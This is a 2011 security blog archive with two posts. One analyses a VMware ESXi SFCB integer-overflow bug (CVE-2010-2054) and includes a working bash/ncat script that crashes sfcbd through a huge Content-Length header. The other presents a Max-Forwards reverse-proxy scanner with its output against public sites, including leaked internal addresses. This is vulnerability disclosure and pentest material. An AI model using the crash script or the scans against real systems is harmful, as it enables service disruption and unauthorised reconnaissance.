November 2011 Archives
samedi 26 novembre 2011, 12:33:51 (UTC+0100)
Regarding VMSA-2011-0013 ...
Just a quick blog-post in order to publically describe some facts about the recent VMware patch for ESX and ESXi (VMSA-2011-0013) ...
I published in June 2010 two pre-authentication bugs in SFCB : one heap overflow (CVE-2010-1937) and one integer overflow (CVE-2010-2054). The first bug was silently patched by VMware in previous versions of their products and will not be discussed further. But the story behind the second one is somewhat funny ;-)
So, in June 2010, the latest available version of ESX and ESXi was 4.0. This version doesn't include a vulnerable version of SFCB. It uses v1.3.3 but CVE-2010-2054 was introduced in v1.3.4. So far so good ... But one month later, VMware ESX and ESXi 4.1 was released, including sfcbd v1.3.4 (the vulnerable one). And in October 2011, a patch was finally published.
However, the question is : is an unpatched version of ESX or ESXi 4.0 really exploitable ? I did some testing on "VMware ESXi 4.1.0 build-260247", that I'll show in details now.
First, the testing script :
$ cat cl.sh #!/bin/bash XX="[==]" IP=$1 CL=$2 SZ=$3 echo "$XX Target : $IP" echo "$XX Claimed Content-Length : $CL" echo "$XX Real Body Length : $SZ" echo; (echo "POST /cimom HTTP/1.1"; \ echo "Content-Length: $CL"; \ echo; \ perl -e "print 'C'x$SZ" \ echo; \ ) | ncat --ssl $IP 5989
Let's go straight to the exploitable situation, using a value near UINT_MAX :
./cl.sh 192.168.8.2 4294967292 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 4294967292 [==] Real Body Length : 10 HTTP/1.1 413 Request Entity Too Large Server: sfcHttpd Content-Length: 0
Doh, a 413 status code :-( Not the expected answer.
After some additonal testing :
$ ./cl.sh 192.168.8.2 100000000 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 100000000 [==] Real Body Length : 10 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="cimom" Server: sfcHttpd Content-Length: 0
$ ./cl.sh 192.168.8.2 100000001 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 100000001 [==] Real Body Length : 10 HTTP/1.1 413 Request Entity Too Large Server: sfcHttpd Content-Length: 0
It seems that VMware uses a hard-coded value of 100.000.000 for httpMaxContentLength.
Adding "httpMaxContentLength=0" to the file /etc/sfcb/sfcb.cfg will bypass this verification and allow to crash the process :
$ ./cl.sh 192.168.8.2 100000001 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 100000001 [==] Real Body Length : 10 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="cimom" Server: sfcHttpd Content-Length: 0
Not an 413, this seems fine ! Now with a value near UINT_MAX :
$ ./cl.sh 192.168.8.2 4294967292 10 [==] Target : 192.168.8.2 [==] Claimed Content-Length : 4294967292 [==] Real Body Length : 10 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="cimom" Server: sfcHttpd Content-Length: 0
And on the ESXi side :
*** glibc detected *** sfcbd: free(): invalid pointer: 0x089654f8 *** ======= Backtrace: ========= /lib/libc.so.6[0x1e07119d] /lib/libc.so.6(cfree+0x90)[0x1e074d90] /lib/libsfcHttpAdapter.so.0[0x1dddc3b4] /lib/libsfcHttpAdapter.so.0[0x1dddf690] /lib/libsfcHttpAdapter.so.0[0x1dde052e] /lib/libsfcHttpAdapter.so.0(httpDaemon+0x133b)[0x1dde1aba] sfcbd[0x8930f67] sfcbd[0x8931b5c] /lib/libc.so.6(__libc_start_main+0xdc)[0x1e01df0c] sfcbd[0x89307b1] ======= Memory map: ========
In conclusion : by default, ESXi 4.1 doesn't seem to be exploitable. But the vulnerable code is here, and is reachable if a special value (zero) is defined for the "httpMaxContentLength" configuration entry. If you use ESX (untested), you should do your own testing or just install the patch.
samedi 12 novembre 2011, 22:10:02 (UTC+0100)
Traceroute-like HTTP scanner
Side note : I just switched to writing my blog posts in english. I hope they will still be understandable ;-) My french readers are probably fine with this language and should not be negatively impacted by this change.
During some recent pentests, I used the "Max-Forwards" trick to identify some "hidden" reverse HTTP proxies. My customers were surprised by the information found and asked me a copy of the tool. I then choose to take some time to polish and release it. Btw, thanks to Julien Cayssol for the initial versions !
Some background information about the Max-Forwards trick ... The RFC 2616 (HTTP/1.1) and 3261 (SIP) define this HTTP header (resp. in section 14.31 and 8.1.1.6) :
14.31 Max-Forwards The Max-Forwards request-header field provides a mechanism with the TRACE (section 9.8) and OPTIONS (section 9.2) methods to limit the number of proxies or gateways that can forward the request to the next inbound server. This can be useful when the client is attempting to trace a request chain which appears to be failing or looping in mid-chain. Max-Forwards = "Max-Forwards" ":" 1*DIGIT The Max-Forwards value is a decimal integer indicating the remaining number of times this request message may be forwarded. Each proxy or gateway recipient of a TRACE or OPTIONS request containing a Max-Forwards header field MUST check and update its value prior to forwarding the request. If the received value is zero (0), the recipient MUST NOT forward the request; instead, it MUST respond as the final recipient. If the received Max-Forwards value is greater than zero, then the forwarded message MUST contain an updated Max-Forwards field with a value decremented by one (1).
8.1.1.6 Max-Forwards The Max-Forwards header field MAY be ignored for all other methods defined by this specification and for any extension methods for which it is not explicitly referred to as part of that method definition. The Max-Forwards header field serves to limit the number of hops a request can transit on the way to its destination. It consists of an integer that is decremented by one at each hop. If the Max-Forwards value reaches 0 before the request reaches its destination, it will be rejected with a 483(Too Many Hops) error response. A UAC MUST insert a Max-Forwards header field into each request it originates with a value that SHOULD be 70. This number was chosen to be sufficiently large to guarantee that a request would not be dropped in any SIP network when there were no loops, but not so large as to consume proxy resources when a loop does occur. Lower values should be used with caution and only in networks where topologies are known by the UA.
But this is RFC, not a real life implementation. In fact, the TRACE method is often blocked at the perimeter and we need some smarter ways to identify the reverse proxies. Given my experience, using the TRACE and GET methods is in most cases sufficient to collect weird behaviors. These behaviors are then checked against a few heuristic rules in order to calculate a score. A score greater than zero indicates a possible reverse proxy.
The heuristic rules used are the following :
- A 502 status code is returned (RFC 2616, section 14.31)
- A 483 status code is returned (RFC 3261, section 8.1.1.6)
- When using TRACE, the body contains the 'X-Forwarded-For' string
- 'Via' or 'X-Via' headers are detected
- Some fields are different between hops :
- HTTP status codes
- 'Server' headers
- 'Content-Type' headers
- 'Via' headers
- HTML titles
- HTML 'address' tags
- 'X-Forwarded-For' values in body
The tool was run against the Alexa's Top 100, using the TRACE and GET methods. Some interesting results were identified and we will now examine them.
Target : www.ask.com / Method : TRACE
[==] Target URL : http://www.ask.com:80/ [==] Used method : TRACE [==] Max number of hops : 3 -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- Title: Hop #0 : Access Denied Hop #1 : Access Denied Hop #2 : Access Denied Server: Hop #0 : AkamaiGHost Hop #1 : AkamaiGHost Hop #2 : AkamaiGHost Content-Type: Hop #0 : text/html Hop #1 : text/html Hop #2 : text/html StatusCode: Hop #0 : 403 Forbidden Hop #1 : 403 Forbidden Hop #2 : 403 Forbidden [--] No reverse proxy
Nothing interesting was detected :-( However, if we switch to GET :
[==] Target URL : http://www.ask.com:80/ [==] Used method : GET [==] Max number of hops : 3 [++] HTTP 502 : Probably a reverse proxy -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- Title: Hop #0 : 502 Proxy Error Hop #1 : Undef Hop #2 : Ask.com Web Search Server: Hop #0 : Undef Hop #1 : Apache Hop #2 : Apache Content-Type: Hop #0 : text/html; charset=iso-8859-1 Hop #1 : text/html Hop #2 : text/html;charset=UTF-8 StatusCode: Hop #0 : 502 Bad Gateway Hop #1 : 500 Internal Server Error Hop #2 : 200 OK [++] Found a reverse proxy, score is 8
The overall score is now 8 and we can assume there's probably 2 reverse-proxies (hops #1 and #2) ! If we try 't.co', we see that TRACE is blocked. However, we have a score of 1 because of the change in 'Server' headers :
[==] Target URL : http://www.t.co:80/ [==] Used method : TRACE [==] Max number of hops : 3 -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- Title: Hop #0 : 405 Method Not Allowed Hop #1 : 405 Method Not Allowed Hop #2 : 405 Method Not Allowed Server: Hop #0 : Apache Hop #1 : hi Hop #2 : hi Content-Type: Hop #0 : text/html; charset=iso-8859-1 Hop #1 : text/html; charset=iso-8859-1 Hop #2 : text/html; charset=iso-8859-1 StatusCode: Hop #0 : 405 Method Not Allowed Hop #1 : 405 Method Not Allowed Hop #2 : 405 Method Not Allowed [++] Found a reverse proxy, score is 1
't.co' again, now using GET :
[==] Target URL : http://www.t.co:80/ [==] Used method : GET [==] Max number of hops : 3 [++] HTTP 502 : Probably a reverse proxy -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- Title: Hop #0 : Twitter / Over capacity Hop #1 : t.co / Twitter Hop #2 : t.co / Twitter Server: Hop #0 : Apache Hop #1 : hi Hop #2 : hi Content-Type: Hop #0 : text/html; charset=UTF-8 Hop #1 : text/html; charset=utf-8 Hop #2 : text/html; charset=utf-8 StatusCode: Hop #0 : 502 Bad Gateway Hop #1 : 200 OK Hop #2 : 200 OK [++] Found a reverse proxy, score is 5
Did you notice the case mismatch between 'utf8' and 'UTF8' ? ;-) There's too some situations where internal IP or hostnames are leaked ! First example, 'typepad.com' and 10.17.*.* :
[==] Target URL : http://www.typepad.com:80/ [==] Used method : TRACE [==] Max number of hops : 3 [++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy [++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy [++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- X-Fwd: Hop #0 : [Your_IP], 10.17.141.102 Hop #1 : [Your_IP], 10.17.141.102 Hop #2 : [Your_IP], 10.17.141.102 Server: Hop #0 : Apache Hop #1 : Apache Hop #2 : Apache Content-Type: Hop #0 : message/http Hop #1 : message/http Hop #2 : message/http StatusCode: Hop #0 : 200 OK Hop #1 : 200 OK Hop #2 : 200 OK [++] Found a reverse proxy, score is 3
Second example, '163.com' and the host 'stcz164' listening on port 8103 :
[==] Target URL : http://www.163.com:80/ [==] Used method : GET [==] Max number of hops : 3 [++] "Via" header : Probably a reverse proxy [++] "Via" header : Probably a reverse proxy [++] "Via" header : Probably a reverse proxy -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- Via: Hop #0 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0) Hop #1 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0) Hop #2 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0) Title: Hop #0 : ��� Hop #1 : ��� Hop #2 : ��� Server: Hop #0 : nginx Hop #1 : nginx Hop #2 : nginx Content-Type: Hop #0 : text/html; charset=GBK Hop #1 : text/html; charset=GBK Hop #2 : text/html; charset=GBK StatusCode: Hop #0 : 200 OK Hop #1 : 200 OK Hop #2 : 200 OK [++] Found a reverse proxy, score is 3
Third example, 'zhaopin.com' and '192.168.9.*' :
[==] Target URL : http://www.zhaopin.com:80/ [==] Used method : TRACE [==] Max number of hops : 3 [++] "Via" header : Probably a reverse proxy [++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy [++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy [++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy -------------------------------------------------------------------------------- [---------------------------] Heuristic Report [-------------------------------] -------------------------------------------------------------------------------- Via: Hop #0 : 1.0 squid91 (squid/3.0.STABLE13) Hop #1 : Undef Hop #2 : Undef X-Fwd: Hop #0 : [Your_IP] Hop #1 : [Your_IP], 192.168.9.113 Hop #2 : [Your_IP], 192.168.9.98 Server: Hop #0 : squid/3.0.STABLE13 Hop #1 : Apache Hop #2 : Apache Content-Type: Hop #0 : text/plain Hop #1 : message/http Hop #2 : message/http StatusCode: Hop #0 : 200 OK Hop #1 : 200 OK Hop #2 : 200 OK [++] Found a reverse proxy, score is 9
This can be used on SIP networks too, using the INVITE method and looking for HTTP 483, but I didn't test it. You can download the tool (v0.5) here. Enjoy !